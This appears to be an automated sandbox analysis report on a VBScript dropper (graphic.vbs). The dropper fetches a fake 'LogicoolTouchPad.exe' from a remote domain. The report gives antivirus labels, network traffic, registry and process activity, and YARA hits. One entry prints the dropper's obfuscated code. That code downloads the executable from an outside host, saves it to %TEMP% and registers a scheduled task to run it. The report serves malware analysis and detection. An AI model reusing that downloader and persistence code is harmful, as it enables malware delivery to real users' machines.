Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Joe Sandbox ML: detected |
Source: 1.0.LogicoolTouchPad.exe.24f0174.3.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: 27.2.LogicoolTouchPad.exe.2420174.2.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: 1.2.LogicoolTouchPad.exe.24f0174.2.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: 27.0.LogicoolTouchPad.exe.2420174.6.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: 27.0.LogicoolTouchPad.exe.2420174.3.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: 1.0.LogicoolTouchPad.exe.24f0174.6.unpack |
Avira: Label: TR/Kazy.4159236 |
Source: unknown |
HTTPS traffic detected: 104.244.73.88:443 -> 192.168.2.4:49746 version: TLS 1.2 |
Source: C:\Windows\System32\wscript.exe |
Domain query: idontgetitpodcast.com |
|
Source: C:\Windows\System32\wscript.exe |
Network Connect: 104.244.73.88 443 |
Jump to behavior |
Source: Joe Sandbox View |
ASN Name: PONYNETUS PONYNETUS |
Source: Joe Sandbox View |
JA3 fingerprint: ce5f3254611a8c095a3d821d44539877 |
Source: unknown |
Network traffic detected: HTTP traffic on port 49746 -> 443 |
Source: unknown |
Network traffic detected: HTTP traffic on port 443 -> 49746 |
Source: wscript.exe, 00000000.00000002.283084836.000001D4A82F1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.269647518.000001D4A82F0000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://crl.globalsign.net/root-r2.crl0 |
Source: LogicoolTouchPad.exe |
String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/ |
Source: wscript.exe, 00000000.00000003.271192944.000001D4A9072000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.270558268.000001D4A9072000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.268142727.000001D4A8EFB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.271051829.000001D4A9072000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.268881837.000001D4A8DF1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.270101303.000001D4A9430000.00000004.00000020.00020000.00000000.sdmp, LogicoolTouchPad.exe, 00000001.00000000.282320853.000000000040C000.00000020.00000001.01000000.00000005.sdmp, LogicoolTouchPad.exe, 00000001.00000000.270511918.0000000000401000.00000020.00000001.01000000.00000005.sdmp, LogicoolTouchPad.exe, 0000001B.00000002.524272566.000000000040C000.00000020.00000001.01000000.00000005.sdmp, LogicoolTouchPad.exe, 0000001B.00000000.493624685.0000000000401000.00000020.00000001.01000000.00000005.sdmp, LogicoolTouchPad.exe.0.dr |
String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/Nhttp://www.borland.com/namespaces/Types |
Source: LogicoolTouchPad.exe |
String found in binary or memory: http://www.borland.com/namespaces/Types |
Source: LogicoolTouchPad.exe, 00000001.00000002.330199560.000000000080A000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://www.borland.com/namespaces/Types- |
Source: LogicoolTouchPad.exe, 00000001.00000002.330199560.000000000080A000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://www.borland.com/namespaces/TypesR |
Source: LogicoolTouchPad.exe, 00000001.00000002.330199560.000000000080A000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: http://www.borland.com/namespaces/Typesh |
Source: wscript.exe, 00000000.00000003.270651210.000001D4A83A3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.269529203.000001D4A83A3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.283174620.000001D4A83A3000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://idontgetitpodcast.com/ |
Source: wscript.exe, 00000000.00000003.268725950.000001D4A8186000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.282907266.000001D4A613C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.282389725.000001D4A7EDA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.283199116.000001D4A83C7000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.282419612.000001D4A6145000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.282379061.000001D4A613E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.282126839.000001D4A613C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.269182349.000001D4A83C2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.282146623.000001D4A7EEA000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://idontgetitpodcast.com/contacting/responsible.dae |
Source: wscript.exe, 00000000.00000003.281065138.000001D4A8BFC000.00000004.00000020.00020000.00000000.sdmp |
String found in binary or memory: https://idontgetitpodcast.com/contacting/responsible.daem |
Source: unknown |
DNS traffic detected: queries for: idontgetitpodcast.com |
Source: global traffic |
HTTP traffic detected: GET /contacting/responsible.dae HTTP/1.1Connection: Keep-AliveAccept: */*Accept-Language: en-USUser-Agent: Logicool TouchPadHost: idontgetitpodcast.com |
Source: unknown |
HTTPS traffic detected: 104.244.73.88:443 -> 192.168.2.4:49746 version: TLS 1.2 |
Source: LogicoolTouchPad.exe, 00000001.00000002.330199560.000000000080A000.00000004.00000020.00020000.00000000.sdmp |
Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/> |
|
Source: graphic.vbs |
Initial sample: Strings found which are bigger than 50 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 800 |
Source: LogicoolTouchPad.exe.0.dr |
Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Section loaded: ff.dll |
Jump to behavior |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Section loaded: ff.dll |
Jump to behavior |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004A6088 |
1_2_004A6088 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0047C920 |
1_2_0047C920 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0047EB70 |
1_2_0047EB70 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 27_2_004A6088 |
27_2_004A6088 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 27_2_0047C920 |
27_2_0047C920 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 27_2_0047EB70 |
27_2_0047EB70 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 27_2_0044D148 |
27_2_0044D148 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: String function: 0040E714 appears 42 times |
|
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: String function: 0040FA10 appears 37 times |
|
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: String function: 0040C1B4 appears 58 times |
|
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: String function: 0040C178 appears 533 times |
|
Source: C:\Windows\System32\wscript.exe |
Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers |
Jump to behavior |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales |
Jump to behavior |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales |
Jump to behavior |
Source: unknown |
Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\graphic.vbs" |
Source: unknown |
Process created: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 800 |
Source: unknown |
Process created: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6588 -s 772 |
Source: C:\Windows\System32\wscript.exe |
Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6588 |
Source: C:\Windows\SysWOW64\WerFault.exe |
Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6400 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0041E2A4 FindResourceA, |
1_2_0041E2A4 |
Source: unknown |
Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\graphic.vbs" |
Source: C:\Windows\System32\wscript.exe |
File created: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2 |
Jump to behavior |
Source: classification engine |
Classification label: mal76.troj.evad.winVBS@5/7@1/1 |
Source: C:\Windows\System32\wscript.exe |
File read: C:\Windows\System32\drivers\etc\hosts |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe |
File read: C:\Windows\System32\drivers\etc\hosts |
Jump to behavior |
Source: Window Recorder |
Window detected: More than 3 window changes detected |
Source: C:\Windows\System32\wscript.exe |
Anti Malware Scan Interface: wscript.shell"):set uZbFgT = createobject("scripting.filesystemobject"):uZbFgT.createfolder vkVrl.ExpandEnvironmentStrings("%TEMP%")&"\A09278-2768-DE0743-A6FB64083C2":ztUFi=vkVrl.ExpandEnvironmentStrings("%TEMP%")&"\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe":IBajJq.Open "GET", "https://idontgetitpodcast.com/contacting/responsible.dae", False:IBajJq.setRequestHeader "User-Agent", "Logicool TouchPad":IBajJq.Send:with vpGyXBL:.type=1:.open:.write IBajJq.responseBody:.savetofile ztUFi,2:end with:Set ATEjv = CreateObject("Schedule.service"):call ATEjv.Connect():Set EMREA = ATEjv.GetFolder("\"):Set gFVDU = ATEjv.NewTask(0):Set OQkDSI = gFVDU.RegistrationInfo:OQkDSI.Description = "Logicool TouchPad":OQkDSI.Author = "Administrotor":Set MeYTW = gFVDU.Settings:MeYTW.Enabled = True:MeYTW.StartWhenAvailable = True:MeYTW.Hidden = False:Set DLBKQzw = gFVDU.Triggers:Set RMaGa = DLBKQzw.Create(1):XE = DateAdd("s", 105, Now):startTime = qjVVXs(XE):XE = DateAdd("n", 11, Now):endTime = qjVVXs(XE):RMaGa.StartBoundary = startTime:RMaGa.EndBoundary = endTime:RMaGa.Id = "LogicoolTouchPad":RMaGa.Enabled = True:Set ltetPO = gFVDU.Actions.Create(0):ltetPO.Path = ztUFi:call EMREA.RegisterTaskDefinition("LogicoolTouchPad", gFVDU, 6, , , 3):function qjVVXs(buFVO):lkSXRK = "0" & Second(buFVO):UjDzC = "0" & Minute(buFVO):RaxnM = "0" & Hour(buFVO):IzBmJgn = "0" & Day(buFVO):cxsfvS = "0" & Month(buFVO):mIDLyU = Year(buFVO):kzuTe = Right(RaxnM, 2)&(chr(58/1+chr(48)))&Right(UjDzC, 2)&(chr(58/1+chr(48)))&Right(lkSXRK, 2):FqOtD = mIDLyU & chr(45) & Right(cxsfvS, 2) & chr(45) & Right(IzBmJgn, 2):qjVVXs = FqOtD & Chr(74+10) & kzuTe:End functio |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_00402076 push 00000057h; retf |
1_2_0040207C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_00403B76 push es; retf |
1_2_00403B83 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_00406DC0 push dword ptr [edx]; ret |
1_2_00406ECD |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004046C6 push 00000052h; retf |
1_2_004046C8 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0043FB0C push 0043FB99h; ret |
1_2_0043FB91 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B805C push 004B8088h; ret |
1_2_004B8080 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0040E068 push 0040E1E4h; ret |
1_2_0040E1DC |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B8024 push 004B8050h; ret |
1_2_004B8048 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0042C038 push 0042C064h; ret |
1_2_0042C05C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004C60EC push 004C6149h; ret |
1_2_004C6141 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B8094 push 004B80C0h; ret |
1_2_004B80B8 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B4158 push 004B4184h; ret |
1_2_004B417C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B216C push 004B23F6h; ret |
1_2_004B23EE |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_00466108 push 004661C2h; ret |
1_2_004661BA |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0040E1E6 push 0040E257h; ret |
1_2_0040E24F |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0040E1E8 push 0040E257h; ret |
1_2_0040E24F |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004561E8 push 00456214h; ret |
1_2_0045620C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0042A24C push 0042A278h; ret |
1_2_0042A270 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B4234 push 004B4260h; ret |
1_2_004B4258 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004642C4 push 004642F7h; ret |
1_2_004642EF |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0046229C push 004622D4h; ret |
1_2_004622CC |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0042A340 push 0042A36Ch; ret |
1_2_0042A364 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0046430C push 00464338h; ret |
1_2_00464330 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004663A8 push 004663D4h; ret |
1_2_004663CC |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004D0408 push 004D04A8h; ret |
1_2_004D04A0 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004424DC push 00442508h; ret |
1_2_00442500 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004D04F8 push 004D0524h; ret |
1_2_004D051C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004D04AC push 004D04F3h; ret |
1_2_004D04EB |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_0041A510 push ecx; mov dword ptr [esp], edx |
1_2_0041A515 |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004B4528 push 004B4554h; ret |
1_2_004B454C |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Code function: 1_2_004D0530 push 004D055Ch; ret |
1_2_004D0554 |
Source: C:\Windows\System32\wscript.exe |
File created: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Jump to dropped file |
Source: C:\Windows\System32\wscript.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\SysWOW64\WerFault.exe |
Process information set: NOOPENFILEERRORBOX |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe TID: 6388 |
Thread sleep time: -30000s >= -30000s |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe |
Window found: window name: WSH-Timer |
Jump to behavior |
Source: wscript.exe, 00000000.00000003.269279849.000001D4A833B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.283159714.000001D4A838F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.270596564.000001D4A8355000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.270730080.000001D4A8389000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.275727881.000001D4A82DB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.283061777.000001D4A82DB000.00000004.00000020.00020000.00000000.sdmp |
Binary or memory string: Hyper-V RAW |
Source: wscript.exe, 00000000.00000003.275727881.000001D4A82DB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.283061777.000001D4A82DB000.00000004.00000020.00020000.00000000.sdmp |
Binary or memory string: Hyper-V RAWl<!^ |
Source: C:\Users\user\AppData\Local\Temp\A09278-2768-DE0743-A6FB64083C2\LogicoolTouchPad.exe |
Memory protected: page execute and write copy | page guard |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe |
Domain query: idontgetitpodcast.com |
|
Source: C:\Windows\System32\wscript.exe |
Network Connect: 104.244.73.88 443 |
Jump to behavior |
Source: C:\Windows\System32\wscript.exe |
File created: LogicoolTouchPad.exe.0.dr |
Jump to dropped file |
Source: C:\Windows\System32\wscript.exe |
Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid |
Jump to behavior |
Source: Yara match |
File source: 0000001B.00000000.500619017.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000002.330453145.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.503077850.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.524676922.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000000.283066590.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000000.283863343.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.500619017.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000002.330453145.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000000.503077850.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 0000001B.00000002.524676922.0000000002420000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000000.283066590.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |
Source: Yara match |
File source: 00000001.00000000.283863343.00000000024F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY |